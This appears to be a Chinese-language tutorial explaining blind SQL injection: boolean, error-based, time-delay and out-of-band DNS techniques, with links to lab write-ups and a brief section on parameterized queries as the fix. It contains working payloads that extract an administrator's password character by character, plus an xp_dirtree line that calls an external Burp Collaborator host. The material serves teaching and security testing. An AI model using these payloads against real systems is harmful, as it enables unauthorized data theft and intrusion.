什么是盲注？
當應用程序易受SQL注入攻擊，但其HTTP響應不包含相關SQL查詢的結果或任何數據庫錯誤的詳細信息時，就會出現盲SQL注入。
對於盲目SQL注入漏洞，許多技術（如聯合攻擊）都是無效的，因為它們依賴於能夠在應用程序的響應中看到注入查詢的結果。但是我們仍然可以利用盲SQL注入來訪問未經授權的數據，但必須使用更高級的技術。
通過觸發條件響應來利用盲注
考慮一個應用跟蹤cookies收集關於使用的分析的應用程序。對應用程序的請求包括如下cookie頭：
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
當一個請求包含TrackingId cookie而被處理的時候，應用程序使用如下SQL語句查詢確定該用戶是否為已知用戶：
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
此SQL語句很容易受到SQL注入攻擊，但查詢結果不會返回給用戶。
但是，根據查詢是否返回任何數據，應用程序的行為會有所不同。
比如它真的返回了數據（由於提交了可識別的TrackingId，也就是說這個用戶是真實的），那么頁面中可能將顯示“歡迎回來”消息。
此結果足以加以利用成為盲注漏洞，並根據注入的條件由此觸發不同的響應來檢索信息。
現在我們要了解其工作原理，假設發送的兩個請求依次包含以下TrackingId cookie值：
…xyz' AND '1'='1
…xyz' AND '1'='2
其中第一個值將導致查詢返回結果，因為注入的和’1’='1條件為true，因此將顯示“歡迎返回”消息。
而第二個值將導致查詢不返回任何結果，因為注入的條件為false，因此不會顯示“歡迎返回”消息。
這使我們能夠確定任何單一注入條件的答案，從而一次提取一位數據。
例如：假設有一個名為Users的表，其中包含Username和Password列，還有一個名為Administrator的用戶。我們可以通過發送一系列輸入，一次測試一個字符的密碼，系統地確定該用戶的密碼。
為此，我們從以下輸入開始：
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
SUBSTR (str, pos, len) 由 <str> 中的第 <pos> 位置開始，選出接下去的 <len> 個字元。
這將返回“歡迎返回”消息，指示注入的條件為true，因此密碼的第一個字符大於m。
接下來，我們發送以下輸入：
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
這不會返回“歡迎返回”消息，表明注入的條件為false，因此密碼的第一個字符不大於t。
最后，我們發送以下輸入，返回“歡迎返回”消息，從而確認密碼的第一個字符是s：
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
我們可以繼續此過程，系統地確定管理員用戶的完整密碼。
詳細靶場實戰：
https://blog.csdn.net/ZripenYe/article/details/119771780
通過觸發SQL錯誤來誘導條件響應
現在利用前面的例子，假設我們輸入執行相同的SQL查詢，但根據查詢語句返回的任何數據，其結果不會有任何不同，意思就是說，沒有了那個welcome。此時前面的技術不起作用，因為注入不同的布爾條件對應用程序的響應沒有影響。
在這種情況下，通常可以根據注入的條件有目的去觸發SQL錯誤，從而使應用程序返回條件的響應。這涉及到修改查詢，所以我們需要在條件為true時導致數據庫錯誤，而不是在條件為false時導致數據庫錯誤。
應用程序的響應的不同情況（例如錯誤消息），從而允許我們推斷注入條件的真實性。
要了解其工作原理，假設發送的兩個請求依次包含以下TrackingId cookie值：
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
這些輸入使用CASE關鍵字測試條件，並根據表達式是否為真返回不同的表達式。對於第一個輸入，CASE表達式的計算結果為“a”，這不會導致任何錯誤。對於第二個輸入，它的計算結果為1/0，這會導致被零除的錯誤。假設該錯誤導致應用程序的HTTP響應存在某些差異，我們可以使用此差異來推斷注入的條件是否為真。
使用此技術，我們可以通過一次系統地測試一個字符，以前面描述的方式檢索數據：
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
詳細靶場實戰鏈接：
https://blog.csdn.net/ZripenYe/article/details/119773320
利用觸發時間延遲的盲注
在前面的示例中，假設應用程序現在捕獲數據庫錯誤並隱秘地處理它們。
即在執行注入的SQL查詢時觸發數據庫錯誤不再會導致應用程序的任何響應，也就是不再報出任何錯誤，因此前面的誘導條件錯誤的技術將不起作用。
在這種情況下，通常可以根據注入的條件有目的地觸發時間延遲，從而利用盲SQL注入漏洞。由於SQL查詢通常由應用程序同步處理，因此延遲SQL查詢的執行也會延遲HTTP響應。這允許我們根據接收HTTP響應之前所花費的時間推斷注入條件的真實性。
觸發時間延遲的技術非常特定於所使用的數據庫類型。在Microsoft SQL Server上，根據表達式是否為真，可以使用以下輸入來測試條件並觸發延遲：
'; IF (1=2) WAITFOR DELAY '0:0:10'-- '; IF (1=1) WAITFOR DELAY '0:0:10'--
第一個輸入不會觸發延遲，因為條件1=2為假。
第二個輸入將觸發10秒的延遲，因為條件1=1為真。
使用此技術，我們可以通過一次系統地測試一個字符，以前面描述的方式檢索數據：
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
COUNT(column_name) 函數返回指定列的值的數目（NULL 不計入）
實戰代碼鏈接：
https://blog.csdn.net/ZripenYe/article/details/119774782
利用out-of-band techniques (OAST)進行盲注
現在，假設應用程序執行相同的SQL查詢，但它是異步執行的。
應用程序繼續在原始線程中處理用戶的請求，並使用另一個線程使用跟蹤cookie執行SQL查詢。查詢仍然容易受到SQL注入的攻擊，但是到目前為止所描述的技術都不起作用：應用程序的響應不取決於查詢是否返回任何數據、是否發生數據庫錯誤或執行查詢所用的時間。
在這種情況下，通常可以通過觸發到您控制的系統的帶外網絡交互來利用盲目SQL注入漏洞。如前所述，可根據注入條件有條件地觸發這些信息，以一次一位地推斷信息。但更強大的是，數據可以直接在網絡交互本身中過濾。
為此可以使用多種網絡協議，但通常最有效的是DNS（域名服務）。這是因為許多生產網絡允許DNS查詢自由出口，因為它們對於生產系統的正常運行至關重要。
使用帶外技術最簡單、最可靠的方法是使用Burp Collaborator。這是一個服務器，提供各種網絡服務（包括DNS）的自定義實現，並允許您檢測何時由於向易受攻擊的應用程序發送單個有效負載而發生網絡交互。Burp Suite Professional內置了對Burp Collaborator的支持，無需配置。
觸發DNS查詢的技術非常特定於所使用的數據庫類型。在Microsoft SQL Server上，可以使用以下輸入在指定域上進行DNS查找：
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
這將導致數據庫對以下域執行查找：
0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
您可以使用Burp Suite的Collaborator client生成唯一的子域，並輪詢Collaborator服務器以確認何時發生任何DNS查找。
實戰鏈接：
https://blog.csdn.net/ZripenYe/article/details/119780006
How to prevent blind SQL injection attacks?
盡管與常規SQL注入相比，發現和利用盲SQL注入漏洞所需的技術不同且更復雜，但無論漏洞是否為盲漏洞，防止SQL注入所需的措施都是相同的。
與常規SQL注入一樣，可以通過謹慎使用參數化查詢來防止盲目的SQL注入攻擊，從而確保用戶輸入不會干擾預期SQL查詢的結構。